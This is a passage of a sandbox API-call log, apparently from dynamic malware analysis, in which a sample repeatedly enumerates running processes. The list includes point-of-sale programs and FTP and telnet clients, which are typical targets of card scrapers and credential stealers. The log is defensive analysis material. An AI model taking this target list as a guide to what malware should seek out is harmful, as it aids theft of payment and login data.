cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0255.790] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0255.793] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0255.797] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0255.800] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0255.802] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.804] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0255.805] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0255.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0255.843] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.846] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0255.849] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0255.854] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0255.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0255.857] CloseHandle (hObject=0x2200) returned 1 [0255.857] Sleep (dwMilliseconds=0x64) [0255.905] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0255.921] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.923] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.929] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.930] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.932] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.934] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.936] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.945] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.947] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.949] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.968] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.970] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.972] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.974] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.976] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.980] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.983] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.986] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.990] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.996] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.999] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.001] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.005] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.007] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0256.009] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.010] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.012] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.014] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0256.016] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.018] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.020] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0256.022] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.024] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.025] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.060] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.063] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.065] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.067] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0256.069] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0256.070] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0256.072] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0256.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0256.075] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0256.078] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0256.079] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0256.081] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0256.082] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0256.084] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0256.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0256.087] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0256.089] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0256.091] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0256.092] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0256.094] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0256.095] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0256.097] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0256.100] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0256.102] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0256.104] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0256.106] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0256.108] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0256.110] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0256.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0256.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0256.116] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0256.119] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0256.121] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 